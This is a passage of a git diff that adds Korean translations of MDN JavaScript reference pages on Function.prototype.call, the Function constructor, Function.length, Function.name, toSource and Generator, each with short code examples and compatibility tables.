+}
+
+function Food(name, price) {
+ Product.call(this, name, price);
+ this.category = 'food';
+}
+
+function Toy(name, price) {
+ Product.call(this, name, price);
+ this.category = 'toy';
+}
+
+var cheese = new Food('feta', 5);
+var fun = new Toy('robot', 40);
+</pre>
+
+<h3 id="익명_함수_호출에_call_사용">익명 함수 호출에 <code>call</code> 사용</h3>
+
+<p>이 예제에서는 익명 함수를 만들고 배열 내 모든 객체에서 이를 호출하기 위해 <code>call</code>을 사용합니다. 여기서 익명 함수의 주목적은 배열 내 객체의 정확한 인덱스를 출력할 수 있는 모든 객체에 print 함수를 추가하는 것 입니다.</p>
+
+<div class="blockIndicator note">
+<p><code>this</code> 값으로 객체 전달이 반드시 필요하지는 않지만, 해당 예제에서는 설명의 목적으로 사용했습니다. </p>
+</div>
+
+<pre class="brush: js">var animals = [
+ { species: 'Lion', name: 'King' },
+ { species: 'Whale', name: 'Fail' }
+];
+
+for (var i = 0; i &lt; animals.length; i++) {
+ (function(i) {
+ this.print = function() {
+ console.log('#' + i + ' ' + this.species
+ + ': ' + this.name);
+ }
+ this.print();
+ }).call(animals[i], i);
+}
+</pre>
+
+<h3 id="함수_호출_및_this를_위한_문맥_지정에_call_사용">함수 호출 및 '<code>this</code>'를 위한 문맥 지정에 <code>call</code> 사용</h3>
+
+<p>아래 예제에서, <code>greet</code>을 호출하면 <code>this</code> 값은 객체 <code>obj</code>에 바인딩됩니다.</p>
+
+<pre class="brush: js">function greet() {
+ var reply = [this.animal, 'typically sleep between', this.sleepDuration].join(' ');
+ console.log(reply);
+}
+
+var obj = {
+ animal: 'cats', sleepDuration: '12 and 16 hours'
+};
+
+greet.call(obj); // cats typically sleep between 12 and 16 hours
+</pre>
+
+<h3 id="첫번째_인수_지정_없이_함수_호출에_call_사용">첫번째 인수 지정 없이 함수 호출에 <code>call</code> 사용</h3>
+
+<p>아래 예제에서, <code>display</code> 함수에 첫번째 인수를 전달하지 않고 호출합니다. 첫번째 인수를 전달하지 않으면, <code>this</code>의 값은 전역 객체에 바인딩됩니다.</p>
+
+<pre class="brush: js">var sData = 'Wisen';
+function display(){
+ console.log('sData value is %s ', this.sData);
+}
+
+display.call(); // sData value is Wisen
+</pre>
+
+<div class="blockIndicator note">
+<p><strong> 주의:</strong> 엄격 모드(strict mode)에서, <code>this</code> 는 <code>undefined</code>값을 가집니다. See below.</p>
+</div>
+
+<pre>'use strict';
+
+var sData = 'Wisen';
+
+function display() {
+ console.log('sData value is %s ', this.sData);
+}
+
+display.call(); // Cannot read the property of 'sData' of undefined
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.3에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Function.call")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>
+ <h2 id="jsxrefFunction.prototype.bind">{{jsxref("Function.prototype.bind()")}}</h2>
+ </li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>
+ <p><a href="/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">객체 지향 JavaScript 소개</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/index.html b/files/ko/web/javascript/reference/global_objects/function/index.html
new file mode 100644
index 0000000000..5d7dde941a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/index.html
@@ -0,0 +1,167 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Global_Objects/Function
+tags:
+ - Constructor
+ - Function
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Function</code> 생성자</strong>는 새 <code>Function</code> 객체를 만듭니다.</span> 이 생성자를 직접 호출하여 동적으로 함수를 생성할 수도 있으나, 보안 문제 및 {{jsxref("eval")}}과 유사한(그러나 훨씬 덜 심각한) 성능 문제가 발생할 수 있습니다. 하지만 <code>eval</code>과 달리, <code>Function</code> 생성자는 전역 범위로 한정된 함수만 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</div>
+
+
+
+<p>모든 JavaScript 함수는 사실 <code>Function</code> 객체입니다. 이는 <code>(function(){}).constructor === Function</code>이 참을 반환하는 것에서 알 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 인수 이름으로 사용할 이름. 각 이름은 유효한 JavaScript {{glossary("identifier", "식별자")}}거나, 쉼표로 구분한 유효한 식별자 목록이어야 합니다. 즉, "<code>x</code>", "<code>theValue</code>", "<code>x,theValue</code>"등의 값을 사용할 수 있습니다.</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문을 담은 문자열.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Function</code> 생성자로 생성한 <code>Function</code> 객체는 함수를 생성할 때 구문 분석을 수행합니다. 반면, {{jsxref("Operators/function", "함수 표현식", "", 1)}}이나 {{jsxref("Statements/function", "함수 선언문", "", 1)}}으로 함수를 정의하고 코드 내에서 호출한 경우 나머지 코드와 함께 구문 분석되므로, <code>Function</code> 생성자가 더 비효율적입니다.</p>
+
+<p>함수로 전달되는 모든 인수는 생성될 함수의 매개 변수 식별자 이름으로 전달되는 순서대로 처리됩니다.</p>
+
+<p>(<code>new</code> 연산자를 사용하지 않고) 함수로써 <code>Function</code> 생성자를 호출하는 것은 생성자로 호출하는 것과 같습니다. 하지만, new 연산자가 제거됨으로써 코드의 크기를 약간(4 바이트 더 작게) 줄일 수 있으므로 <code>Function</code>에 대해서는 <code>new</code> 연산자를 사용하지 않는 것이 좋습니다.</p>
+
+<h2 id="Function의_속성과_메서드"><code>Function</code>의 속성과 메서드</h2>
+
+<p>전역 <code>Function</code> 객체는 자신만의 메서드 또는 속성이 없습니다. 그러나, 그 자체로 함수이기에 {{jsxref("Function.prototype")}}에서 프로토타입 체인을 통해 일부 메서드 및 속성을 상속받습니다.</p>
+
+<h2 id="Function_프로토타입_객체"><code>Function</code> 프로토타입 객체</h2>
+
+<h3 id="속성">속성</h3>
+
+<div>
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{deprecated_inline}}</dt>
+ <dd>함수에 전달되는 인수(argument)에 해당하는 배열. 이는 {{jsxref("Function")}}의 속성으로 사라지므로(deprecated), 대신 함수 내에서 이용 가능한 {{jsxref("Functions/arguments", "arguments")}} 객체를 사용하세요.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Function.arity")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">함수에 의해 기대되는 인수의 수를 지정하기 위해 사용됐으나 제거되었습니다. 대신 {{jsxref("Function.length", "length")}} 속성을 사용하세요.</s></dd>
+ <dt>{{jsxref("Function.caller")}} {{non-standard_inline}}</dt>
+ <dd>현재 실행 중인 함수를 호출한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>함수에 의해 기대되는 인수의 수를 지정합니다.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>함수명.</dd>
+ <dt>{{jsxref("Function.displayName")}} {{non-standard_inline}}</dt>
+ <dd>함수의 표시명.</dd>
+ <dt><code>Function.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 만드는 함수를 지정합니다. 자세한 사항은 {{jsxref("Object.prototype.constructor")}} 참조.</dd>
+</dl>
+</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>함수를 호출하고 <em>this</em>를 제공된 값으로 설정합니다, 인수는 {{jsxref("Array")}} 객체로 전달될 수 있습니다.</dd>
+ <dt>{{jsxref("Function.prototype.bind()")}}</dt>
+ <dd>호출될 때 <em>this</em>를 제공된 값으로 설정하는 새로운 함수를 만듭니다, 새로운 함수가 호출됐을 때 주어진 순서로 모두 제공되는 선행 인수와 함께.</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>함수를 호출(실행)하고 <em>this</em>를 제공된 값으로 설정합니다, 인수는 그대로 전달될 수 있습니다.</dd>
+ <dt>{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}</dt>
+ <dd>함수가 <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="generator">생성기</a>인 경우 <code>true</code>를 반환합니다; 그렇지 않으면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>함수의 소스 코드를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toSource")}} 메서드를 재정의(override)합니다.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>함수의 소스 코드를 나타내는 문자열을 반환합니다. {{jsxref("Object.prototype.toString")}} 메서드를 재정의합니다.</dd>
+</dl>
+</div>
+
+<h2 id="Function_인스턴스"><code>Function</code> 인스턴스</h2>
+
+<p><code>Function</code> 인스턴스는 {{jsxref("Function.prototype")}}에서 메서드 및 속성을 상속받습니다. 모든 생성자와 마찬가지로, 생성자의 프로토타입 객체를 바꿈으로써 모든 <code>Function</code> 인스턴스에 변화를 줄 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Function_생성자에_인수_지정하기"><code>Function</code> 생성자에 인수 지정하기</h3>
+
+<p>다음 코드는 인수 두 개를 갖는 <code>Function</code> 객체를 생성합니다.</p>
+
+<pre class="brush: js">// 예제는 JavaScript 콘솔에서 직접 실행하실 수 있습니다
+
+// 두 개의 인수를 가지고 그 둘의 합을 반환하는 함수 생성
+var adder = new Function('a', 'b', 'return a + b');
+
+// 함수 호출
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>인수 "<code>a</code>" 및 "<code>b</code>"는 함수 몸통(body)의 "<code>return a + b</code>"에 사용되는 형식 인수명입니다.</p>
+
+<h3 id="Function_생성자와_함수_선언의_차이">Function 생성자와 함수 선언의 차이</h3>
+
+<p><code>Function</code> 생성자로 만들어지는 함수는 생성 컨텍스트에 대한 클로저(closure)를 생성하지 않습니다; 이들 함수는 항상 전역 범위에서 생성됩니다. 함수가 실행될 때, 자신의 지역 변수와 전역 변수에만 접근할 수 있으며 <code>Function</code> 생성자가 호출된 그 범위의 변수에는 접근할 수 없습니다. 이 점이 함수 표현식 코드에서 {{jsxref("eval")}}을 사용하는 것과 다른 점입니다.</p>
+
+<pre class="brush: js">var x = 10;
+
+function createFunction1() {
+ var x = 20;
+ return new Function('return x;'); // 여기서 |x|는 전역 범위에 있는 |x|를 참조함.
+}
+
+function createFunction2() {
+ var x = 20;
+ function f() {
+ return x; // 여기서 |x|는 위의 지역에 있는 |x|를 참조함.
+ }
+ return f;
+}
+
+var f1 = createFunction1();
+console.log(f1()); // 10
+var f2 = createFunction2();
+console.log(f2()); // 20
+</pre>
+
+<p>위 코드는 브라우저에서는 정상 동작하지만, {{glossary("Node.js")}}에서는 <code>x</code>를 찾을 수 없어, <code>f1()</code>이 <code>ReferenceError</code>를 생성합니다. 이는 Node.js의 최상위 스크립트 범위가 전역이 아닌 모듈이므로, <code>x</code>도 모듈 범위에 종속되기 때문입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions and function scope")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/length/index.html b/files/ko/web/javascript/reference/global_objects/function/length/index.html
new file mode 100644
index 0000000000..f9e6b30adf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/length/index.html
@@ -0,0 +1,80 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Global_Objects/Function/length
+tags:
+ - Function
+ - JavaScript
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>length</strong></code> 속성은 함수가 기대하는 인수의 수를 나타냅니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-length.html")}}</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code>는 함수 객체의 속성으로, 함수가 얼마나 많은 인수를 기대하는지 나타냅니다, 즉 형식 매개변수의 수. 이 수는 {{jsxref("rest_parameters", "나머지 매개변수", "", 1)}}를 포함하지 않습니다. 그에 반해, {{jsxref("Functions/arguments/length", "arguments.length")}}는 함수에 지역(local)이고 실제로 함수에 전달된 인수의 수를 제공합니다.</p>
+
+<h3 id="Function_생성자의_데이터_속성"><code>Function</code> 생성자의 데이터 속성</h3>
+
+<p>{{jsxref("Function")}} 생성자는 그 자체로 {{jsxref("Function")}} 객체입니다. 그 <code>length</code> 데이터 속성은 값이 1입니다. 속성의 attribute: 쓰기가능(Writable): <code>false</code>, 열거가능(Enumerable): <code>false</code>, 설정가능(Configurable): <code>true</code>.</p>
+
+<h3 id="Function_프로토타입_객체의_속성"><code>Function</code> 프로토타입 객체의 속성</h3>
+
+<p>{{jsxref("Function")}} 프로토타입 객체의 length 속성은 값이 0입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function() {}).length); /* 0 */
+console.log((function(a) {}).length); /* 1 */
+console.log((function(a, b) {}).length); /* 2 등. */
+console.log((function(...args) {}).length); /* 0, 나머지 매개변수는 계산되지 않음 */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>이 속성의 설정가능(<code>configurable</code>) attribute은 이제 <code>true</code>임.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Function.length")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/name/index.html b/files/ko/web/javascript/reference/global_objects/function/name/index.html
new file mode 100644
index 0000000000..ce2d665b73
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/name/index.html
@@ -0,0 +1,191 @@
+---
+title: Function.name
+slug: Web/JavaScript/Reference/Global_Objects/Function/name
+tags:
+ - ECMAScript6
+ - Function
+ - JavaScript
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/name
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong><em>function</em>.name</strong></code> 속성(property)은 함수 이름을 반환합니다.</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<p>비표준, ES6 이전 구현에서는 설정가능(<code>configurable</code>) attribute도 <code>false</code>였음을 주의하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>name</code> 속성은 함수 이름 또는 (ES6 구현 이전) 익명(anonymous) 함수에 대해서는 빈 문자열을 반환합니다:</p>
+
+<pre class="brush: js">function doSomething() {}
+
+console.log(doSomething.name); // logs "doSomething"
+</pre>
+
+<p><code>new Function(...)</code> 또는 그냥 <code>Function(...)</code> 구문으로 생성된 함수는 <code>name</code> 속성을 빈 문자열로 설정합니다. 다음 예에서는 익명 함수가 생성되므로 <code>name</code>은 빈 문자열을 반환합니다:</p>
+
+<pre class="brush: js">var f = function() {};
+var object = {
+ someMethod: function() {}
+};
+
+console.log(f.name == ''); // true
+console.log(object.someMethod.name == ''); // 역시 true
+</pre>
+
+<p>ES6 함수를 구현한 브라우저는 익명 함수 이름을 그 구문상 위치로부터 추측할 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">var f = function() {};
+console.log(f.name); // "f"</pre>
+
+<p>{{jsxref("Operators/Function", "function 식", "", 1)}}에서 이름으로 함수를 정의할 수 있습니다:</p>
+
+<pre class="brush: js">var object = {
+ someMethod: function object_someMethod() {}
+};
+console.log(object.someMethod.name); // logs "object_someMethod"
+
+try { object_someMethod } catch(e) { console.log(e); }
+// ReferenceError: object_someMethod가 정의되지 않음
+</pre>
+
+<p>함수 이름은 바꿀 수 없습니다, 이 속성은 읽기 전용입니다:</p>
+
+<pre class="brush: js">var object = {
+ // 익명
+ someMethod: function() {}
+};
+
+object.someMethod.name = 'someMethod';
+console.log(object.someMethod.name); // 빈 문자열, someMethod는 익명
+</pre>
+
+<p>그러나 바꾸려면, {{jsxref("Object.defineProperty()")}}를 사용할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<p>객체의 'class'를 확인하기 위해 <code>obj.constructor.name</code>을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">function a() {}
+
+var b = new a();
+
+console.log(b.constructor.name); // logs "a"
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-name', 'name')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-name', 'name')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(33.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Configurable: true</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatGeckoDesktop(38)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Inferred names on anonymous functions</td>
+ <td>{{CompatChrome(51.0)}}</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Configurable: true</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(38)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Inferred names on anonymous functions</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(51.0)}}</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(51.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{bug(883377)}} 참조.</p>
diff --git a/files/ko/web/javascript/reference/global_objects/function/tosource/index.html b/files/ko/web/javascript/reference/global_objects/function/tosource/index.html
new file mode 100644
index 0000000000..dcfbdf49e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/tosource/index.html
@@ -0,0 +1,71 @@
+---
+title: Function.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Function/toSource
+tags:
+ - JavaScript
+ - 메소드
+ - 함수
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>toSource()</strong></code> 메소드는 객체의 소스 코드를 나타내는 스트링을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>function</var>.toSource();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 소스 코드를 나타내는 스트링.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource</code> 메소드는 다음 값들을 반환합니다.</p>
+
+<ul>
+ <li>내장 {{jsxref("Function")}} 객체에 대한 <code>toSource()</code> 는 소스 코드 사용이 불가함을 나타내는 다음 스트링을 반환합니다.
+
+ <pre class="brush: js">function Function() {
+ [native code]
+}
+</pre>
+ </li>
+ <li>커스텀 함수에 대한 <code>toSource()</code> 는 객체를 정의하는 JavaScript 코드를 스트링으로 반환합니다.</li>
+ <li>
+ <pre class="brush: js">// 예시:
+function hello() {
+  console.log("Hello, World!");
+}
+
+hello.toSource();
+</pre>
+ </li>
+ <li>
+ <pre class="brush: js">// 결과:
+"function hello() {
+  console.log(\"Hello, World!\");
+}"</pre>
+ </li>
+</ul>
+
+<p>이 메소드는 보통 JavaScript 에 의해 내부적으로 호출되며 코드에서 명시적으로 사용되지 않습니다. 디버깅할 때 객체의 컨텐츠를 검사하기 위해 <code>toSource</code> 를 호출해보실 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p>어떠한 표준의 일부도 아닙니다. JavaScript 1.3 에서 구현되었습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.toSource")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/index.html b/files/ko/web/javascript/reference/global_objects/generator/index.html
new file mode 100644
index 0000000000..d29b282355
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/index.html
@@ -0,0 +1,186 @@
+---
+title: Generator
+slug: Web/JavaScript/Reference/Global_Objects/Generator
+tags:
+ - ECMAScript 2015
+ - Generator
+ - JavaScript
+ - Legacy Generator
+ - Legacy Iterator
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Generator</strong></code> 객체는 {{jsxref("Statements/function*", "generator function", "", 1)}} 으로부터 반환된 값이며 <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">반복자와 반복자 프로토콜</a>을 준수합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>{{jsxref("Operators/yield", "yield")}} 표현을 통해 yield된 값을 반환합니다.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>주어진 값을 반환하고 생성기를 종료합니다.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>생성기로 에러를 throw합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="무한_반복자">무한 반복자</h3>
+
+<pre class="brush: js">function* idMaker(){
+ var index = 0;
+ while(true)
+ yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="오래된_Generator_객체">오래된 Generator 객체</h2>
+
+<p>Firefox (SpiderMonkey)는 <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>에서 이전 버전의 생성기도 구현 했습니다.이 버전에서는 함수 선언에서 별표 (*)가 필요하지 않습니다 (함수 본문에서 <code>yield</code> 키워드 만 사용). 그러나 오래된 생성기는 더 이상 사용되지 않습니다. 사용하지 마십시오. 곧 제거 될 것입니다 ({{bug(1083482)}}).</p>
+
+<h3 id="오래된_Generator_메서드들">오래된 Generator 메서드들</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>{{jsxref("Operators/yield", "yield")}} 표현을 통해 yield된 값을 반환합니다. ES2015 Generator 객체의 <code>next()</code> 에 해당합니다.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Generator를 닫고, <code>next()가 호출되면 </code>{{jsxref("StopIteration")}} 에러를 던집니다. ES2015 Generator 객체의 <code>return()</code> 에 해당합니다.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Generator에 값을 전달하기 위해 사용 합니다. 이 값은 {{jsxref("Operators/yield", "yield")}} 표현식에서 반환되고, 다음 {{jsxref("Operators/yield", "yield")}} 표현식으로 부터 yield된 값을 반환합니다. <code>send(x)</code>는 ES2015 Generator 객체의 <code>next(x)에 해당합니다</code>.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Generator 로 에러를 throw합니다. ES2015 Generator 객체의 <code>throw()</code> 에 해당합니다.</dd>
+</dl>
+
+<h3 id="오래된_Generator_예제">오래된 Generator 예제</h3>
+
+<pre class="brush: js">function* fibonacci() {
+ var a = yield 1;
+ yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it); // "Generator { }"
+console.log(it.next()); // 1
+console.log(it.send(10)); // 20
+console.log(it.close()); // undefined
+console.log(it.next()); // throws StopIteration (as the generator is now closed)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class=" standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
